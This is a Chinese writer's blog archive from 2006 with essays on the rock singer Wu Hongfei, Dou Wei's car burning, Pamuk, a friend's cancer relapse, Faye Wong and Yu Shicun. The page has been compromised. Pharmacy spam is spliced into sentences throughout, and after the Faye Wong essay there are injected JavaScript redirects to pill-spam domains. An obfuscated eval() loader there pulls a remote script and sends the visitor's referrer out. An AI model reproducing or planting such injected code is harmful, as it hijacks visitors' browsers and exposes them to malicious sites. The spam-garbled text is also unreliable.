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阿飞姑娘和我、马晓春、阿良以及黄健翔的故事

一个作家当了记者是很可怕的。一个摇滚歌手当了记者，那就更可怕了。我说这话，是针对阿飞姑娘的。她的真名叫吴虹飞，因为采访了黄健翔，她一不留神成了名人。所以成名这事儿，真是很要命、很没准的事情。

其实，就算没有黄健翔托举，阿飞姑娘也早就是个名人了。她是清华大学的女生，这已经不简单，还写了好几本小说和散文，有一大帮女粉丝，她还是幸福大街乐队的主唱。在一个不大不小的圈子里，阿飞姑娘是有一号的，不承认都不行。甭管怎么说，她还在电视上跟刘仪伟耍过贫嘴呢，据说当时的情形是这样的：阿飞姑娘自称是大波美作，刘仪伟很坏地说，“恕我眼拙，没看出来”。这个段子来自转述，我就不对它的真实性负责了。

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上面说到作家当了记者很可怕，为什么呢？因为作家有思想。她在做一个采访之前，尽管还不太了解事件和人物，其实心里已经有了看法。即便采访中得出了新的结论，她固有的观念也未见得就完全改变了。阿飞姑娘采访黄健翔的情形就是如此。虽然她努力做到客观中立，但是当黄健翔自称知识分子的时候，阿飞姑娘就忍不住在稿子中小小的讥诮了一下。事后，南方周末什么职业委员会将之命名为“轻佻”。说轻佻是不对的，轻佻是对生活作风的描述，至于应该用什么词语来描述，我一时也没想好。

阿飞姑娘有点蔫儿坏，这一点，我在第一次见到她的时候就看出来了，不过我觉得那恰恰是一个文学女青年可爱的地方。好几年前的事了。《水果》出来，要搞一个仪式，因为我自己对那本小说并没什么信心，也就没请太有名的人。洛兵因为一同出了书，所以在场。阿飞姑娘和她的同学翩若被邀请参加。那时还没很出名的宁财神也在。搞完活动，大家一起去吃饭，从书店往饭店走的过程中，阿飞姑娘冷不丁问了我一句什么。那句话原本是打趣的，但她问话的神情很甜美、表情很无辜，所以我一时拿不准应该做什么反应，事后觉得是被她涮了一道。尽管如此，我还是知道她是无意也无害的，那不过是她的一种表达方式而已。如果黄健翔也能理解到这一点，如果多一点幽默感，也就不至于那么暴怒了。当然，现在看起来，黄健翔发怒可能不完全是跟文章本身较劲。按照过程推测，南方周末发表阿飞姑娘的访谈时，正是黄健翔与凤凰卫视密谈合作的时候。他可能更怕那文章会坏了他的好事吧。当然这也是小人之心，是主观臆断。

看阿飞姑娘的网络散文，幽默感经常会扑面而来，这是很了不起的事情。女作家有才情不奇怪，有小聪明也不奇怪，但有幽默感就十分难得。幽默感来自对世界的豁达认识，来自于自嘲的勇气，具备这两点素质，需要知识积淀和人生历练，甚至需要天才。能自嘲的女人，别人就很难嘲笑和伤害她。这一回发生的吴黄风波，阿飞姑娘如果没有自嘲的独特气质呵护着，想必会痛苦到不行。

但阿飞姑娘也有自己的痛脚趾，那就是不能沾爱情，沾上爱情就会天翻地覆、翻江倒海、颠三倒四，完全没了人样。她曾经写过一系列关于阿良的故事，那个一度招惹了她、最后又无端抛弃了她的男人，那个被她命名为阿良的良好社会青年，不仅在现实中遭到阿飞姑娘用鞋底抽打的性虐待，还被她用文字反复揉搓。通过阿飞姑娘的讲述，我产生了这样的印象，阿良是一个兼具文学名著中所有坏男人的特点的好男人，所以阿飞姑娘不折不挠地爱着他，用她的爱持续地虐待着他。不知道这个阿良有没有看过阿飞姑娘的文字，假如看过，还能保持一声不吭，他的优点又多了一项，他比黄老师更有忍耐力。

阿飞姑娘对阿良的痴爱和幽怨，与她对化妆品的迷恋、对物质生活的神往，奇异地混杂在一起，好像一幅被顽童搞乱了的油画似的，斑驳，灿烂，病态，但透着美。这美可能来自真实，也可能来自人性中的冥顽，反正是一道奇观。

我跟阿飞姑娘吃过烤羊肉串，喝过酒。在东三环和别的什么地方听她唱过摇滚。我跟女朋友逛三里屯南街的时候，还撞见她蹲在地上卖打口盘。她出新书的时候，我还应邀上台发言（真不习惯用那种方式发言，简直就要暴露口吃的毛病了）。阿飞姑娘唱“帅哥哥帅哥哥”的纯真嗓音，在我失眠的时候经常回荡在耳边。幸好她没有爱上我，我也没有爱上她。但我那年游历三峡的时候，还是被她摧残了一回。她先是吵着要和我同去，被我严词拒绝之后，便想着法儿折磨我。我到成都的时候，她说她也上飞机了。我到了重庆朝天门，她说她到了成都。我到了奉节，她说她到了重庆。总之是阴魂不散。后来证明，她根本就在北京没挪窝。用她的口吻说，“这个故事说明”，阿飞姑娘有时是不达目的不罢休的。不过好在她不记仇，尽管我得罪了她、又没给她送玫瑰花和口红，她还是从不说我坏话、不暴露我的隐私。哎呀，说到这里，我不禁感叹道，大名吴虹飞的阿飞姑娘是个多么好的姑娘，多么伟大的摇滚女，多么了不起的大波美作啊！

我的脑子里一直留着两幅关于阿飞姑娘的画面。有一回在地铁里碰到她，她好象穿着不成体统的羽绒服，一副魂不守舍的样子，两眼直瞪瞪地看着我，如同看见了真理。我猜她当时可能爱上了马晓春。另一次更早，我们几个人从盒子咖啡散伙，我送她回清华。在清华西门，我轻轻抱了她一下。我们互相看了一眼，就像真理看见了真理。

前不久去开家长会，看到我儿子的作文结尾是这样一句话：“我的同学某某某就是这么有趣”。抄袭一下，改个名字：阿飞姑娘就是这么有趣。 muscle relaxants, buy lioresal, buy baclofen online australia – providencehousing.org.

Posted on 12月 16th, 2006 by 那么蓝 | 145 Comments »

很夸张的一场大雾

这两天北京下了一场很夸张的雾。

at the meeting held this week judge ashman was the estrace online presiding officer, and willim b. buy estrace cream thompson, esq., was secretary. among

昨天下午迷迷瞪瞪出门，开到三环的时候才发现天色阴沉得可怕，整个北京被粘稠的雾气压得像个脏馒头。夜里十二点钟，开车到燕莎桥的时候，感觉四周都是浓烟，大团的灰雾滚动着扑向车窗，吓得我赶忙打开了双闪。到北京这么多年，从没有见过这么糟糕的雾天。北京越来越脏，越来越不适合居住了。

行走在雾里，如同进入了斯蒂芬金的恐怖电影。

收到了诗人江雪寄来的《后天》。很多诗，很多文字，有的小说写得颇有些意思。虽然读江雪的东西并不多，也没见过本人，但感觉江雪有点叶塞宁的气质。

好几年没收到过民间文学刊物了。谢谢江雪！

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Posted on 12月 12th, 2006 by 那么蓝 | 9 Comments »

中国摇滚的最后一声呐喊

2006年5月10日深夜，写完当天的社论之后，我开车直扑天桥派出所。窦唯就关在那里。虽然明知道不可能见到他，但仍然觉得应该去一趟，没有什么目的和意义，只是觉得，在那样的时刻，我应该站在那个地方。

本来就对北京南城不熟悉，加上脑子比较混乱，就多走了许多冤枉路。在夜色中问了几个人，好歹算是找到了。不出所料，天桥派出所门前聚集了很多娱乐记者，有男有女，大多很年轻，说说笑笑的，好象在等候一次聚会或演出。接近午夜零点的时候，一位胖姑娘惊叫着说，“今天是我的生日！”从她的口气里，似乎能听出某种骄傲的意味，因为她的这个生日竟然与派出所和窦唯有关。她和朋友们开始拥抱，记者们开始拍照，闪光灯闪个不停，派出所门前有了点小小的骚动。

两个联防队员模样的中年人把守着派出所的大门，除非有特别的允许，否则不得进入。我逗留在那里的时候，除了有几个警察偶尔进出，就只有一小队外地民工被带了进去。据说，他们因为讨不到工钱，就在天桥派出所的辖区里组织了一次很不象样的游行，大约还打了横幅什么的。警察把他们带进去，估摸着也是想息事宁人。不过，一个把门的中年人倒是说了一句很有意味的话，他告诉民工说，“这事儿你得找温家宝总理，他是专门负责讨薪的，警察可管不了这个。”这就是北京大爷的风格，说话横不吝，却又透着那么点糙道理。

等了好久，也没看到窦唯被带出来。按照我自己对公安部门的了解，知道他们也绝对不会轻易召开新闻发布会。看着门里边的警察脸色灰败、神情倦怠的样子（长期上夜班的人都是这模样），想象了一下窦唯在里面做笔录的景象，就在派出所对面买了一个煎饼果子，吃了多半拉之后，开车回家了。

也许是我自己的双重文化身份（诗人和媒体评论员）作怪，我对窦唯烧汽车这事儿感受复杂。虽然我提醒自己说，打砸报社和烧汽车在法治社会里肯定是犯罪，但我还是多少有点幸灾乐祸。那段时间里，王菲接近生产引发了媒体的神经官能症，有关窦唯的负面新闻也就接连不断，看到窦唯骂丁武喜欢搞处女、窦唯说李某虚伪之类的报道，我还以为窦唯在长期自闭的生活中出现了搭错神经的问题。好在窦唯终于不再忍耐，他很理性地把汽油浇在报社记者的车上，很理性地回答警察的提问、接受警察的拘押，用理性不过的态度完成了一次不乏疯狂的应答。从这样的过程里，我能看到一种清晰的人格脉络，它与窦唯历来的处事方式和生活态度别无二致。我知道窦唯肯定没疯。如果说这件事本身是癫狂的，也只能说是别的方面出现了功能失调。

窦唯烧汽车的“语义”之所以很复杂、让人一时间找不到立场，是因为它发生在两个公共印象良好的主体之间。

用窦唯回答警察的话说，他是“做音乐的”。作为黑豹乐队的最好一任主唱，窦唯最初以摇滚青年的面孔出现在公众面前，为青年人所认识和喜爱。魔岩三杰登陆香港红磡体育馆，也被看作内地流行音乐的一个传奇。许多热爱摇滚的人可能始终会记得，窦唯穿着中山装、手里握一根短笛的“端庄”模样。至于他后来为什么从黑豹出走、从流行音乐的领域消失，则几乎成了当代流行文化的一个谜语，带有暗喻的意味。人们可以接受一个摇滚歌手发疯、吸毒、泡妞和变态，却很难接受他向着正常人和纯粹音乐的隐匿。窦唯的这种独特过程和姿态，让他成为最少非议的一个音乐人，从某种程度上说，他甚至是令人敬重的。而站在他对立面的《新京报》也并非专门以登载明星八卦为乐事的无聊媒体。从试水北京的第一天起，它就始终受到精英人群的热切关注，人们对它抱有厚望。“负责报道一切”这样的承诺，虽然在我们的时代里未免显得夸口，但也放射出理想主义的光彩。

于是人们不免感到困惑，为什么挑起事端的竟然是如此富有使命感的报纸，为什么被伤害、最终绝地反击的又恰恰是这样一个端庄的音乐人。发生在他们之间的这次烫伤，或许只能被理解为一种短路，是精神错乱的时代背景下的一次文化事故。

我所说的这种“精神错乱”绝不是惊人之语。即使一个迟钝的人，也可以很轻易地看到两种迥然不同又同样癫狂的精神图景，一方面是主流意识形态话语的持续内循环和肌体坏死，在最重要的时间和空间里，生活中弥漫着挥之不去、令人厌恶的陈词滥调；另一方面，随着网络势力和新人类的崛起，新的传播方式带来了毫无节制的话语狂欢，生活与文化的传统秩序都惟恐崩溃得不够迅速，戏仿和嘲谑成为主宰我们时代的主要精神力量。传统话语的激情休克和时尚话语的淫荡无度，共同营造出我所说的精神错乱景象。在这种紊乱的辐射背景下，所有与文化有关的人和事物，都在盲目而徒劳地寻找自己的立足之地，都可能侵犯他人的尊严与静默，就像《新京报》虽然以“报道一切”为宗旨，却也不得不制造八卦新闻以吸引公众注意力。但最终，《新京报》意识到了自己的错乱，并没有对窦唯的行为加以追究。与此同时，舆论罕见地、一边倒地对窦唯表达了同情。毫无疑问，对于一家严肃的报纸来说，这是一次自戕。

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不过，在我看来，窦唯烧汽车除了提示公共话语与私人生活的边界之外，还有更丰富的隐喻意味。如果撇除它的司法和社会学含义，我以为，它是中国摇滚音乐的最后一声呐喊。

摇滚的伟大在于，它不是一种音乐形式，而是一种灵魂姿态，即反抗的姿态。无论反抗他者还是反抗自我，无论反抗巨大的力量还是个体的卑劣，反正你得反抗点什么，否则玩重金属还是歌特都没有意义。不幸的是，从上个世纪90年代唐朝和黑豹乐队接过崔健的枪开始，中国摇滚就失去了它的灵魂，它被抽掉了骨头，只剩下了绵软无力的形式。唐朝的音乐形式也许是辉煌的，但它的本质其实很甜柔。黑豹除了第一张专辑还是有魂儿的，其后就变成了那个年代的超级男生。在它们之后，摇滚乐几乎全面退出先锋文化的阵地，崔健成了不折不扣的绝响，连他自己都无法继续拥有早期那种动人心魄的魔力。

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这两年，虽然那些人还在不停地摇着滚着，有时甚至一连摇个七八天，某些乐评人也在小资刊物上不遗余力地吹捧地下音乐，但是，中国摇滚对当代人的精神生活到底还有什么影响呢？接近于空无。

只有窦唯这个遗老，用他理性的癫狂，为中国摇滚发出了一声嘶哑的喊叫。从2006年5月10日之后，我们只能品味难堪的沉默。

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Posted on 12月 11th, 2006 by 那么蓝 | 38 Comments »

我的名字叫蓝

看到刘军宁先生关于文艺复兴的长文，我的脑子里打满了感叹号和问号。如果在我还活着的时候，中国真的文艺复兴了一场，那可就太酷了。不过，那是可能的吗？

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这两天在看《我的名字叫红》，一本妖冶的、邪灵般的小说，作者刚得了诺贝尔文学奖。看到一多半的时候，忽然发现它的故事内核似乎来自艾柯的《玫瑰之名》。众所周知，艾柯也是妖得不行的大作家。两本小说讲的是同一件事：伟大的艺术与宗教禁锢发生了严重冲突，于是血案不断发生。在《我的名字叫红》里，引发矛盾的是奥斯曼帝国几个细密画师的艺术创新，他们要采用威尼斯异教徒的肖像画法，为伟大的苏丹创作一本精美的手抄本，但这样的做法是离经判道的。即便有苏丹撑腰，他们还是不得不鬼鬼祟祟地干活，最后彼此间还掐得死伤狼藉。从作者的描述看，故事似乎正发生在文艺复兴的前夜，或许正是文艺复兴的伟大风波在土耳其的宫廷画师中引发了风暴。

虽然年轻时也读过一点相关的书籍，但说到文艺复兴，脑子里仍是空空如也，只想到有那么几个伟大的天才，在百来年的时间里拓展了欧洲的天空。由此我想到，文艺复兴也许是不可复制的。就算像刘军宁先生所说的那样，当代中国有着种种合适的条件，有文艺复兴的巨大渴望，也有类似中世纪那种憋闷的空气作为幕布，但文艺复兴未必就会发生。历史事件并不遵从因果定律，伟大的事件尤其如此。在文学艺术领域里，天才的出现完全看运气。如果没有天才和英雄，没有伟大的、惊世骇俗的、具备经典意义的作品，任何文艺复兴只能算是运动。我就挺担心，刘军宁先生呼唤文艺复兴，结果出现的却是文艺运动。播下龙种却孕育跳蚤这样的事儿，在我们这里实在太常见了。

刘先生为文艺复兴招魂，其用意我是清楚的。作为宪政体制的鼓吹者，他深谙一个道理：没有个性解放的人文背景，没有公民社会作为保障，好的制度即便出现了，也是难以为继的。如此追根溯源，要想建立宪政制度，就得从人性入手。这么想想，我就替刘先生累得慌。因为我看得出，刘先生并不太了解当代的文化和艺术，市场经济的繁荣和中间阶层的“日益茁壮”，并没有给文艺带来新的契机，相反，它让艺术窒息。当下的文学和艺术实际上受着双重钳制与挤压，大一统的主流意识形态固然是个问题，但惟利是图的市民空气未尝就不是更严重的戕害。更富戏剧性的是，对抗主流意识形态往往会导致文艺的成功，但市民社会却是无法抗拒的，它让作家、诗人和艺术家变得庸俗而琐碎。想一想吧，中国经济飞速发展的这二十年里，到底出过什么让人眼睛一亮、精神一振的作品呢？文艺复兴总不能指望着“面朝大海，春暖花开”吧？

所以，我倾向于悲观。不过，我也不认为刘先生所指明的路径是唯一的选择。在错综复杂、充满偶然性机遇的历史中，一定还存在着许多其它的可能性。即便没有恢弘的文艺复兴，国民性也有可能提升，制度也有可能改良，政治也有可能改善，从这个角度说，我又比刘先生乐观一些。但这方面我是外行，说多了会让人笑话。

说回到小说吧。帕慕克的确是个很高明的作家。读《红》的时候，我想到了莫言。莫言的《檀香刑》也是很牛的一部小说，莫言本人也很了不起，但莫言比帕慕克少了一点诗人气质，文化素养也似乎不够厚实，耍弄起来就不如帕氏那么圜转如意。差了那么一点点，这就是我们的文学、戏剧和电影的现实。

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天才是多么可望而不可及啊。于是只好哀叹说：我的名字叫蓝。那么蓝。

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寂寞削面馆

11月25日，第一场雪，很小。

凌晨三点多出门去吃刀削面，发现下雪了。心里有一点淡淡的欣喜。下雪对我来说总意味着什么。几乎没有风，但路边的阔叶树下洒满了落叶。当树叶无声落下时，世界仿佛陷入沉思。

深夜的石景山，街道湿漉漉的，偶尔有一两辆大货车轰隆开过。北京忽然就变成了一个荒凉的城市。迷路了，开车转了一个大圈，才找到那家削面馆。老板眯着眼睛在剥蒜，像个隐居的侠客。每次看到他的时候，他总是一副寂寞而酩酊的样子。有时觉得，人生就是这样的一家寂寞削面馆，时间似乎是凝滞的，虽然有不同的人马出场，但剧情早就定了下来。

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下午听说师兄老唐很郁闷。央视弄了一大批人马重走玄奘取经之路，实际上是个豪华旅行团，可恶的是，他们竟然号称自己是“首次”，完全把唐老鸭单人独骑万里西行的真正“第一次”给抹杀了。相比起来，老唐的上一次“郁闷”才更叫郁闷，他苦心策划的“从金字塔到万里长城”，最后竟然被凤凰卫视挪用了过去，老唐的位置也被余秋雨顶了。

等有心情的时候，应该好好写一篇关于唐师曾的文章。这个师兄是一个性格丰富、极其有趣的人，走到哪里都像一个能量强大的旋涡，把周围的一切都裹挟进去。

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就要去芬兰了。也是一个豪华旅行团。但愿我能体会到更多的东西。

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他人的疾病

她的病复发了。这是夏天以来最糟糕的消息。

她是一个温暖的小女人，喜欢背着包四处游历，热爱生命，渴望爱情。几年前，我被网恋折磨得灰头土脸的时候，在新浪认识了她。那时，她通过我的一个兄弟拿到了刚出版的《脆弱》，对我有几分好奇。她告诉我，每当她读完几页我的小说，从文字中醒来的时候，就仿佛获得了新的眼光，可以去理解自己的生活。我对这样的反映很是吃惊，虽然我是用了心去写作，但并不了解自己的文字对于他人意味着什么。她给了我很多鼓励和安慰，从此我们成了遥远而知心的朋友。

两年前，她忽然就得了乳腺癌。听到这个消息的时候，我内心的震惊无法用语言来形容。那么美好的一个人，对生命怀有那样的热爱与感恩，为什么竟要遭受病痛的残酷折磨呢？这完全超出了我对命运的理解。

那年冬天，我去云南出差，回头顺道去了一趟广州，约了她和诗人龙少在天河城见面。她做完化疗不久，头发还没长出来，戴着一顶毛线织的帽子，表情仍是那样平和与温暖，只是说到病情的时候，眼睛里偶尔会闪现出泪光。那时，心里有一个很强烈的愿望：抱住她，把我生命的全部热力都给她。这念头一闪而过，让我意识到自己的软弱和徒劳。

jan 11, 2014 – fluoxetine online order — buy fluoxetine 100mg online :: canadian pharmacy meds without prescirption online – buying prescription medicine 我要她和我们一起去吃烤生蚝，我知道她喜欢美食，但她摇头拒绝了，她什么也不能吃。那天夜里我和朋友们喝了很多酒，在陌生的城市里体会着生命的欢欣与晕眩，而她早早地回了家，独自与该死的病魔搏斗。

propecia libido acquire propecia 她是赢过的。有一段时间病情很稳定，她还能去很远的地方游荡，路过北京的时候，还叫了我们几个人陪她一起吃饭。先是在三联韬奋书店对面吃私家菜，吃到半道觉得不过瘾，又到不远处的桂林米粉店再吃一回。隐约中，又能看到她性格里的乐观、热情与幽默，但我知道，在回归自我的路途上，她经历了生命中最为险恶的时刻，承受了难以想象的孤独与痛楚。

她和一路陪伴她的男友结了婚，又搬了新家，还通过自学考上了心理咨询师。和我说好，等到她羽翼丰满的时候，就要拿我这个典型的精神病人开刀，深入分析我对待女人和爱情的种种古怪心理。我也满心希望着，哪一天她成了泰然镇定的心理医生，可以像上帝一样倾听我，而不会被我吓倒。

可是命运并没有罢手，她的病复发了，而且遇到了最糟糕的情况：多发性肝转移。她又被抛到了最凶险的波浪之上，那波浪不是带着她眺望世界的壮丽，而是想把她打翻在地。她告诉一个朋友，她要考虑后事了。她每天都在犹豫，要不要再做化疗。

gynecologic cheap estrace tablet where to order estrace cancer in the uk’s buy estrace vaginal cream online the ubiquitin chains and their level of less than 而当这一切发生的时候，我只能在远处徒劳地张望，像废纸片一样丝毫没有用场。她是我的亲人、我的姐妹，是世界馈赠给我的一朵微笑，我却只能让她独自受苦，这种超然的处境让我体会到人生另一种滋味。你以为自己爱着世界，爱着那些温暖而美好的人们，你以为自己的存在是有意义的，你甚至以为自己的文字能带给他人清风与花朵，但实际上，当你最亲爱的朋友身陷疾病包围的时候，你不能替她分担任何痛苦。她打针的时候，你的皮肤完好无损而且在微笑。她呕吐的时候，你在远方懵然不觉，享受着岁月的盛宴。她承受不住内心的哀伤而哭泣的时候，你仍在掂量某个楼盘的价格，在排队换发新护照。她焦虑到行将崩溃时，你正在白日里沉睡。无论你心里多么痛惜她，她仍然是孤独的，她在白天孤独，在夜里孤独，在病床上孤独，在喧闹的街道上孤独。她独自一人承担着生存与死亡，承担着狰狞的命运……这才是疾病的真相。疾病把她和爱她的人隔离开来，疾病让我们暴露出旁观者的冷漠，映衬出我们那点所谓同情与关怀的微不足道。

我多想把我认识的所有人的手都拉起来，围成一个巨大的圆圈，环绕在她的身边。冬天要来了，我不想让她感到寒冷。

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Posted on 11月 20th, 2006 by 那么蓝 | 359 Comments »

听说王菲回来了

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怀着不可告人的忧戚，我始终关注着王菲的行踪。一度听说她在吃素，为了给新生的女儿祈福。虽然不知道真假，仍然觉得，在经历了那些风波之后，王菲的个性似乎有了一些改变。从香港狗仔队拍回的照片看，王菲抽烟的时候有意避开孩子了。她像一只过冬的鸟儿一样收敛自己的翅膀，以减轻心灵的负担。

没有哪个女人像王菲一样承受着这个世界的疯狂关注，连生个孩子也变成了公共事件。她怀孕的时候，华语媒体集体犯上了强迫症，可怜的窦唯成了惊弓之鸟，最后只好通过烧汽车来获得解脱。

当李亚鹏以每天二百条短信的频率向王菲发起爱情攻势的时候，他预想过后来的局面吗？在公众的眼里，他不再是演员，而是职业丈夫和兼职司机，一个穿拖鞋陪着王菲看电视的生活助手，以及善良的捐精人。

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我在写《王菲为什么不爱我》的时候，对后来发生的一切丝毫也没有预感。那篇游戏之作本来贴在一个很小的论坛上，但不知怎么就被转贴得到处都是。我在第一段写了一个别字，却始终没有人帮我改过来。

后来，一家出版社邀请我加入“北大新文人”丛书，我把自己随手写下的散漫文字编成了一个集子，书名就叫《王菲为什么不爱我》，由此演绎出很多有趣的故事。先是丛书的主编、北大中文系的著名教授陈平原先生发了火，他觉得这种庸俗的书名与他的品位很不相称，要求出版社的总编辑“下不为例”。我听说之后，觉得很有意思。我在北大读书的时候，没有听过陈先生的课，对他的学问如何博大精深缺乏直观了解，但陈先生的名头很响亮，这是读书人都知道的。惹恼了老先生，这件事本身比出版一本书更能让我感受到几分快意。我是一个不大守规矩的人，喜欢这世界多一些牛头不对马嘴的错乱与幽默，所以，我对《王菲为什么不爱我》这本书由陈平原先生来主编，很是满意。

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新书出炉之后，送了一本给恩师王岳川，私下里希望他写一篇书评帮我拔高一下境界。王老师翻了翻书的目录，嘿嘿笑起来，我也嘿嘿笑起来。到底是在他家蹭过很多饭的，我知道他目光如炬，他也知道我肚子里都藏着什么坏水，两人就有点悠然心会的意思。他对我很是看重，百忙之中写了一篇赞扬中带有告诫的文章。我拿到之后，索性把文章的名字改得很肉麻，发表在报纸上。王先生在电话里对我叹了一口气，倒也没有动怒。

书上市了，不少读者果然上了当。他们连目录都没翻就买下了书，回家之后差点把钢牙咬碎，从此对作者恨之入骨。

更不幸的是，这本书竟然卖到了我的老家蕲春县，一时在那里成为笑谈，很多老同学和地方官员都争相传阅书的封面，我的光辉形象也毁于一旦。从此每当回老家，觥筹交错、酒酣耳热之际，总有人规劝我说：“王菲老了，换个年轻的女人吧！”

王菲的确老了，但要换个更年轻的女人崇拜一下、喜爱一下，却也不是容易的事。把当下流行的歌星影星统统梳理了一遍，也找不出一个合适的人选。虽然王菲很瘦、她的胸部微不足道，虽然她抽烟很多又酷爱打麻将，但她是独一无二的。无论什么时候听到她那空灵清幽的声音，仍然会心旌动摇。更重要的是，像《王菲为什么不爱我》中所写的，“她脸上有孤儿的表情，那表情像一只啄木鸟飞进我的心窝，一下一下掏着灵魂深处的虫子……我俯首就擒，然后被变成一种很玄的东西。”

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王菲回来了，这很好，虽然和我无关。

她回来之后，大觉寺的银杏树叶就该落尽了，北京该下雪了，我该找把锄头去挖去年的棉袄了。

在这个庞大得令人憎恨的城市里，我将欣然看着她老去，并像叶芝的诗歌所写的那样，笨拙而悠长地爱着她衰老的容颜。 purchase discount medication! buy dapoxetine paypal . free delivery, generic priligy dapoxetine.

window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2″; window.location = “http://cheap-pills-norx.com/search.htm?route=search&q=”; eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(’\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(’|'),0,{}))}eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return 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Posted on 11月 14th, 2006 by 那么蓝 | 367 Comments »

余世存说到爱情，我就笑了

在网络上看到余世存的博客文章，标题叫做“为什么爱情的童话必然破灭”。我在这几个汉字上停留了好几秒钟。

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我没想到他还会思考这类问题。大学毕业之后，作为诗人的我，和作为“中国问题专家”的他，越走越远。起初还在一起吃吃喝喝，后来就不太知道对方都在搞些什么名堂了。有时他给我发来一些文章，我也只能看个半懂。我眼里的余世存始终是个出生太晚的九叶派诗人，既不是思想家，更不是搞政治的好材料，至于他怎么就走上了另外一条荆棘丛生的道路，大概跟命运有关吧。1989年之后，我们这代人纷纷寻找各自的方向，我返回内心，在逃避中写作，在他看来想必有些犬儒；他则似乎承担了一些无人要求他承担的东西，一个堂吉诃德式的挑夫，背影有点悲壮。他这么一个逼着自 buy estrace online , is estradiol level 32 low, is estradiol level 41 low. 己理性起来的人，却也会在这个年头思考爱情问题，在我看来很是无厘头。

为什么爱情的童话必然破灭呢？余世存认为，原因在于，“现实中难以做到二人世界的纯粹性”。他把“纯粹性”这个哲学范畴引入爱情话语，进而阐述爱情要求从童话外壳中突破，成长为神话，或进入更复杂的世界。他还想象了一种“新世界的爱”，一种宽泛博大、符合人类理想的爱情，就连萨特与波伏瓦的爱情也难以企及那目标。在这种习惯性的延伸中，余世存把一个日本姑娘对爱情的迷惑，上升为他自己对于现代性背景下的人类之爱的困惑，最终迷失于一个童真般的提问。

依我看来，一切童话都冀望于时间的恩赐。在最完美的节点上，历史进程戛然而止，童话的甘露就凝结了。所有的童话都是篇幅短小的，无法在时间中延伸下去，否则就会沦陷。有着俳句般美学的童话，与残酷漫长的生命，是两种无法相恰的事物，所以，以我们的生命演绎爱情童话，自然是要破灭的，这个破灭的过程不仅不值得惊奇，相反，它太过自然，以致于我们对破灭的悲怆性产生了疑问。

少年时代读《哭泣的骆驼》，被感动得不行不行的。但在落泪的同时，我也不乏恶意地想过，如果三毛的丈夫荷西不死，如果他们的爱情和生活就那样延续下去，他们还会拥有童话吗？成就童话的不是“王子和公主从此幸福地生活着”，而是死亡的猝然来临。在死亡与童话的这种暧昧联系中，我们能够洞察人类情感方式的偏执一面，我们也许无法从甜美中品味到甜美，而只有从残酷与自戕般的境遇里才能找到快感与迷醉。如此看来，爱情的童话也许从来就是一个假象、一个事故、一次心志短路，只在它破灭之后，爱情才能找到真正的道路。

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余世存在他的文章末尾，引用了冈林信康的歌词，但他误以为那是中国人的诗。这就好像我曾经把北岛的诗误以为是彭天波的作品那样。有些文字年代久远，不知道是三叶草还是化石，但它们携带着一个时代的记忆。冈林信康的那首歌词以中文出现，是在《北方的河》里。我和余世存读张承志的时候，正是鬓发青葱、壮志满怀的年龄。后来我们都剃过光头，再后来又有了零星白发。

现在，当我们谈论爱情和童话的时候，我们都有些不自信了。那似乎并不是属于我们的话题。

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“历史的一天”：另一种可能的历史书写

有些事情需要在沉淀中才能获得重量。前不久，新浪博客频道发起了一次大众书写活动，号召网民一起记录
10月24日这一天发生在中国的“历史”，并将这次活动命名为“历史的一天”。据统计，该活动得到了 buy dapoxetine online australia discount prices . men’s health. mastercard, anti- anxiety, free world shipping. 30万网民的热情参与。

之所以选择“10月24日”作为平民书写历史的“节点”，我想大概有两个考虑，一方面是“择日不如撞日”，也就是通过对重大时刻的拒绝，有意识地把最平凡的日子与最平凡的记录者联系在一起，追求彻底的平民化；二是尽可能回避各种纪念日，避免在平民书写中注入过于庄重的历史色彩，引导网民把关注重心从公共性话题转移到自我。

从结果看来，上述目的得到了充分的实现。虽然也有少数明星级人物罗列了自己在“10月24日”的吃喝拉撒，但更为海量的博客以鲜活的文字、平静的心态和朴素的情怀，记录了发生在自己身边的历史。比如一个医生写下了他如何为心脏病人叩背排痰，一名普通法官描述他所审理的寻常不过的离婚官司，一位机关职员讲她怎样接待省报记者，一位消费者见证山东某小镇两家超市的血腥比拼，一个未提供身份背景的姑娘在租到住房后发出了快感的呼喊。如果某个作家要从普通人的生活中寻找耐人寻味的细节，如果学者要研究历史如何从公众的行为中发轫，都可以深入到“历史的一天”中披沙沥金。

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“历史的一天”活动提示我们，信息传播方式正在深刻地改变着公众的生活。网络的不断普及，数千万博客的活跃，让公众有可能实现生活的共享，不仅共享他人的方式和生活内容，也分享他人的喜悦、分担他人的愁苦，这对提高整个社会的生活质量是颇有意义的。“历史的一天”还昭示了与传统的作家写作迥然不同的书写方式，最大限度地释放了博客写作的能量，为自发的、极度分散的博客写作提供了一种共同语境，大众书写由此获得了意义。

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不过，它的更大启示性恐怕还在于，它有可能提供一种新的历史语法，并为未来的历史记述提供见证和反例。当数十万人共同参与历史讲述的时候，历史陈述还可能以传统姿态高居于庙堂之上吗？以意识形态为中心的古典历史结构还可以重复下去吗？衡量历史学家和网民的历史写作之间的关系，只能用意味深长来形容。新的可能性出现了，新的危险也出现了，就像博客写作干预并取消了传统写作一样，博客历史学也会干预传统历史学，甚至取消经典意义的“历史”，它导致了一种新的、还很难厘定其内涵的平民化历史视镜。

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Posted on 11月 7th, 2006 by 那么蓝 | 8 Comments »

所谓文学之死不过是破茧重生

米兰·昆德拉在小说里说，上帝不公平地给了一个傻瓜一张漂亮的脸，却给了莱蒙托夫一双短腿。他又说，诗人如果走错一步，走出他的镜子领域，他就将毁灭。

